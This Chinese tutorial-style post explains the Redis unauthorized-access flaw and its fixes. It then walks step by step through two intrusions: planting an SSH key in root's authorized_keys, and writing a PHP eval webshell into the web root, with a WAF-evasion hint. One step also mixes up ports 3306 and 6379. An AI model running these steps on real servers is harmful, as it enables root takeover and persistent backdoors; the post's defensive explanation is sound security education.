谨防利用Redis未授权访问漏洞入侵服务器

说明:

Redis是一个开源的,由C语言编写的高性能NoSQL数据库,因其高性能、可扩展、兼容性强,被各大小互联网公司或个人作为内存型存储组件使用。
但是其中有小部分公司或个人开发者,为了方便调试或忽略了安全风险,没有设置密码并直接对外开放了6379端口,那么这就是一个危险的行为。

漏洞成因:

未对Redis进行充分的访问控制,可利用Redis可写入文件的漏洞实现攻击。

漏洞影响范围:

所有对公网开放的Redis端口,未设置密码或设置弱密码的Redis服务的主机都存在这个漏洞。

危害:

  1. 利用SSH可获取服务器root权限。
  2. 可在项目中写入一句话木马。
  3. 利用redis的任意文件写入,造成其它危险操作。

解决方案:

  1. 使用防火墙策略关闭Redis端口。
  2. 找到redis配置文件的requirepass项并配置复杂的密码,毕竟弱口令也是漏洞。

利用方式1(获取root权限):

0. 背景:

CentOS7.6,有一台IP为192.168.1.180且对外开放6379端口的服务器,Redis Server可远程被连接。攻击者首次接触这台服务器。

1. nmap扫描
nmap 192.168.1.180 -p 6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:10 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0014s latency).PORT     STATE SERVICE
6379/tcp open  redisNmap done: 1 IP address (1 host up) scanned in 0.11 seconds
#发现开放了Redis服务
2. 尝试远程连接
redis-cli -h 192.168.1.180 -p 3306
#远程连接成功,尝试使用
192.168.1.180:6379> set abc 123
OK
3. 本地生成SSH密钥对,将公钥写入自定义文件,发送给攻击目标。
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /test/ssh.txt
cat /test/ssh.txt | redis-cli -h 192.168.1.180 -p 6379 -x set ssh_key
4. 利用Redis备份功能将数据写入到目标服务器的root目录下
#远程连接
redis-cli -h 192.168.1.180 -p 6379
#尝试清空redis
192.168.1.180:6379> flushall
#设置 Redis 数据库的持久化存储路径
192.168.1.180:6379> config set dir /root/.ssh
#设置 Redis 数据库的持久化存储文件名
192.168.1.180:6379> config set dbfilename authorized_keys
#保存
192.168.1.180:6379> save
5. 远程连接目标服务器,成功入侵并获取了root权限
ssh root@192.168.1.180 -i /root/.ssh/id_rsa
The authenticity of host '192.168.1.180 (192.168.1.180)' can't be established.
ED25519 key fingerprint is SHA256:v7jh2lXha1qeJTqZtHxfFcvdBXxtyMm0z10M3NuvMKM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.180' (ED25519) to the list of known hosts.
Last login: Fri Nov 24 11:12:42 2023 from 192.168.2.183
#验证用户
[root@lnmp ~]# whoami
root

利用方式2(web站点写入一句话木马):

0. 背景:

CentOS7.6,有一台IP为192.168.1.180且对外开放6379端口的服务器,Redis Server可远程被连接。攻击者首次接触这台服务器,服务器有LNMP环境。

1. nmap扫描
└─# nmap 192.168.1.180 -p 80,443,6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:52 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0081s latency).PORT     STATE    SERVICE
80/tcp   open     http
443/tcp  filtered https
6379/tcp open     redis
MAC Address: 00:0C:29:01:E8:DC (VMware)Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#发现开放了Redis和http服务
2. 尝试远程连接Redis,这一步走不通下面流程就不用走了
redis-cli -h 192.168.1.180 -p 3306
#远程连接成功,尝试使用
192.168.1.180:6379> set abc 123
OK
3. 尝试获取Web服务技术栈,发现用的是PHP
curl -I 192.168.1.180
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 24 Nov 2023 08:53:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.6
3. 在Kali上安装dirsearch,找到带有phpinfo或者报错的页面,从而获取web站点的路径,dirsearch需要python3环境
#pip配置阿里云镜像
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
pip config set install.trusted-host mirrors.aliyun.com
#克隆dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
#期间会提示安装一些包,正常安装就行。执行dirsearch,尝试路径爆破后进行手动过滤。
python3 dirsearch.py -u http://192.168.1.180 -e php
#例如在192.168.1.180/err.php下找到了一个携带php报错的地址,手动访问
Warning: Undefined variable $res in /Host/err.php on line 2
#至此,发现php的站点在/Host下。
4. 将PHP一句话木马发送给目标的redis服务器
redis-cli -h 192.168.1.180 -p 6379
192.168.1.180:6379> config set dir /Host
OK
192.168.1.180:6379> config set dbfilename "test.php"
OK
192.168.1.180:6379> set test "\n\n<?php eval($_GET['a']);?>\n\n"
OK
192.168.1.180:6379> save
OK

远程的文件是这样的,既包含了其它key的备份,也包含了一句话木马:

REDIS0009� redis-ver5.0.8� redis-bits�@�ctime™m`e�used-mem��Z �aof-preamble���ssh_keyB7 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCltv+2wFaA4vixtU7N0Iz4K9J/wO62iWli2emLNHYR8Q32hIsHzGvChgF3dcb1lLqndfCKDOk16FwHfkiChZAtjcruK36xWxrTNP54q5ZXBpuT6T+b8zkAljRLN0KqDPxfuM9IuObgMqNSxRPmdlMqxXp6B5BaMY8+iPJL175eM+0Jes2+U9yN/s5zEmjkYTXFHG96CMR+lHXcN3StXZKs4hZGRsxt2KxQ5TP+lsqVV7AIBAOO5milCOUOcOIZJ+bad5aMt+ESt4Sjnzy9Vln2i31UU2QqO4XiVLaLexm4JFqKpjLqis6C9YyTZYwFl/xam3FvroFrlFdsbaRP3W2c0aJLxtX2yHH/T0cFXQJbI5rA04Z+TS4gJqGeofQ8+dNHQc7lBLbcGuR5cN8g/0VKgh4b7bYsXRG9XFZXL7Kl6r2TBCg7FVIKkWoSALm5Qr0tEy1ytNSUMversoDq2q6/EPsfkUDfFJipoEpv4hCzJXy57dDQBOdGaIMvY6+Zk88= root@ZS abc�{test
5. 验证一句话木马文件,成功写入一句话木马
#由于PHP只解析从<?php到?>结束的代码,所以其余字符不受影响。
#为了防止被WAF拦截,传参过程也可自定义编码
http://192.168.1.180/test.php?a=phpinfo();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/168924.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构—小堆的实现

前言&#xff1a;前面我们已经学习了二叉树&#xff0c;今天我们来学习堆&#xff0c;堆也是一个二叉树&#xff0c;堆有大堆有小堆&#xff0c;大堆父节点大于子节点&#xff0c;小堆父节点总小于子节点&#xff0c;我们在学习C语言的时候也有一个堆的概念&#xff0c;那个堆是…

力扣:判断回文串(JavaScript)

力扣&#xff1a;判断回文串&#xff08;JavaScript&#xff09; 题目解法一&#xff1a;单层for循环解法二&#xff1a;while循环解法三&#xff1a;forpush解法四&#xff1a;递归 题目 判断一个字符串是否是回文串&#xff0c;比如&#xff1a;12321、3443、8338、83438都是…

通过互联网代理部署Docker+Kubernetes 1.28.1

一、背景 在公司环境中&#xff0c;我们往往都是无法直接连接外网的&#xff0c;之前写过一篇文章&#xff0c;是通过外网自建的中转机器下载需要的离线包&#xff0c;并在内网搭建一个harbor&#xff0c;通过harbor的方式搭建了一个kubernetes&#xff0c;但是这种方式还是有…

医学检验科LIS系统源码 样本采集、检验、分析

LIS把检验、检疫、放免、细菌微生物及科研使用的各类分析仪器&#xff0c;通过计算机联网&#xff0c;实现各类仪器数据结果的实时自动接收、自动控制及综合分析&#xff1b;系统可与条码设备配套使用&#xff0c;自动生成条码&#xff0c;减少实验室信息传递中人为因素导致的误…

鸿蒙开发-ArkTS 语言-基础语法

1. 初识 ArkTS 语言 ArkTS 是 HarmonyOS 优选主力开发语言。ArkTS 是基于 TypeScript (TS) 扩展的一门语言&#xff0c;继承了 TS 的所有特性&#xff0c;是TS的超集。 主要是扩展了以下几个方面&#xff1a; 声明式UI描述和自定义组件&#xff1a; ArkTS使用声明式的方式描述用…

03 七种基本的 C++ 数据类型以及枚举类型

系列文章目录 03 七种基本的 C 数据类型以及枚举类型 目录 系列文章目录 文章目录 前言 1.基本数据类型介绍 2.带符号的数据类型 二、C中的枚举类型 总结 前言 C中的数据类型指的是变量或常量能够存储的数据类型。它在c中有很重要的作用&#xff0c;比如&#xff1a; …

力扣labuladong——一刷day52

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、力扣894. 所有可能的真二叉树二、力扣998. 最大二叉树 II三、力扣1110. 删点成林 前言 二叉树的递归分为「遍历」和「分解问题」两种思维模式&#xff0c;这…

android BSP 开发总结之四

1.设置状态栏的显示或隐藏 frameworks/base 路劲下面有个services/core/java/com/android/server/wm/DisplayPolicy.java, 该文件中有一个”mHasNavigationBar” , 设置为false则隐藏&#xff0c;否则显示。 String navBarOverride "1"; if ("1".equals(…

MySQL-03-索引

索引是提高MySQL查询性能的一个重要途径&#xff0c;但过多的索引可能会导致过高的磁盘使用率以及过高的内存占用&#xff0c;从而影响应用程序的整体性能。应当尽量避免事后才想起添加索引&#xff0c;因为事后可能需要监控大量的SQL才能定位到问题所在&#xff0c;而且添加索…

YB4556 28V、1A、单节、线性锂电池充电IC

YB4556 28V 、 1A 、单节、线性锂电池充电 IC 概述: YB4556H 是一款完整的采用恒定电流 / 恒定电压的高压、大电流、单节锂离子电池线性充电 IC。最高耐压可达 28V&#xff0c;6.5V 自动过压保护&#xff0c;充电电流可达 1A。由于采用了内部 PMOSFET 架构&#xff0c;加上防倒…

鸿蒙开发-ArkTS 语言-循环渲染

鸿蒙开发-ArkTS 语言-状态管理 4. 渲染控制 对于 UI 渲染&#xff0c;可以基于数据结构选择一些内置方法&#xff08;例如&#xff1a;ForEach&#xff09;快速渲染 UI 结构。 4.1 if-else条件渲染 ArkTS提供了渲染控制的能力。条件渲染可根据应用的不同状态&#xff0c;使…

es6新特性总结

1、支持了let和const&#xff0c;为了防止var声明变量带来的变量提升 &#xff08;1&#xff09;、存在块级作用域不存在变量提升&#xff08;考虑暂时性死区&#xff09; &#xff08;2&#xff09;、不允许重复声明&#xff08;包括普通变量和函数参数&#xff09;变量提升…

软著项目推荐 深度学习 python opencv 火焰检测识别 火灾检测

文章目录 0 前言1 基于YOLO的火焰检测与识别2 课题背景3 卷积神经网络3.1 卷积层3.2 池化层3.3 激活函数&#xff1a;3.4 全连接层3.5 使用tensorflow中keras模块实现卷积神经网络 4 YOLOV54.1 网络架构图4.2 输入端4.3 基准网络4.4 Neck网络4.5 Head输出层 5 数据集准备5.1 数…

Shell编程基础 – 变量(Variables)

Shell编程基础 – 变量&#xff08;Variables&#xff09; Shell Scripting Essentials – Variables Bash变量作为shell脚本的重要组成部分&#xff0c;提供了在Unix/Linux命令行界面操作和保存数据的方法。 本文简要介绍Bash Shell脚本变量的基础知识以及应用&#xff0c;包…

python实现炫酷的屏幕保护程序!

今天写了桌面保护程序。先来看看效果吧。 完全可以作为屏保程序了&#xff0c;老方式&#xff1a;以下是实现的代码&#xff1a; from tkinter import *from time import strftime​def update_time():global i, j current_time strftime(%H:%M:%S)time_label.config(textcu…

android BSP 开发总结之三

1.把Android源码导入Android Studio进行调试 源码下载完成后&#xff0c;先编译。 如下sample, projects不同编译命令不同 $ source build/envsetup.sh $ lunch aosp_flounder-userdebug $ make -j8 ( 8代表CPU核数 ) 编译idegen这个项目&#xff0c;生成idegen.jar文件.…

arp报文及使用go实现

一、ARP协议报文格式及ARP表 ARP&#xff08;Address Resolution Protocal&#xff0c;地址解析协议&#xff09;是将IP地址解析为以太网的MAC地址&#xff08;或者称为物理地址&#xff09;的协议。在局域网中&#xff0c;当主机或其他网络设备有数据要发送给另一个主机或设备…

开源语音大语言模型来了!阿里基于Qwen-Chat提出Qwen-Audio!

论文链接&#xff1a;https://arxiv.org/pdf/2311.07919.pdf 开源代码&#xff1a;https://github.com/QwenLM/Qwen-Audio 引言 大型语言模型&#xff08;LLMs&#xff09;由于其良好的知识保留能力、复杂的推理和解决问题能力&#xff0c;在通用人工智能&#xff08;AGI&am…

现代图标集wxArtProvider发布 —— 发布于2023年11月21日

Perazz发布了wxMaterialDesignArtProvider&#xff0c;这是一个自定义的wxArtProvider类&#xff0c;从MaterialDesign、SimpleIcons、FontAwesome和FluentUI系统数据集中提供基于SVG的图标。所有这些数据集都有许可证&#xff08;MIT、CC BY 4.0、CC0 1.0、Apache 2.0&#xf…

打破障碍:2024年赋能企业人工智慧生成创新-5个应用场景与6个转型步骤

想要了解如何采用生成式AI来提高企业效率和竞争力&#xff1f;本指南将介绍如何采用生成式AI来实现数字化转型&#xff0c;并打造智能化商业模式。从5大应用场景和6大步骤切入&#xff0c;让您了解如何开启生成式AI创新。立即连线创新专家咨询或观看创新战略方案视频进一步了解…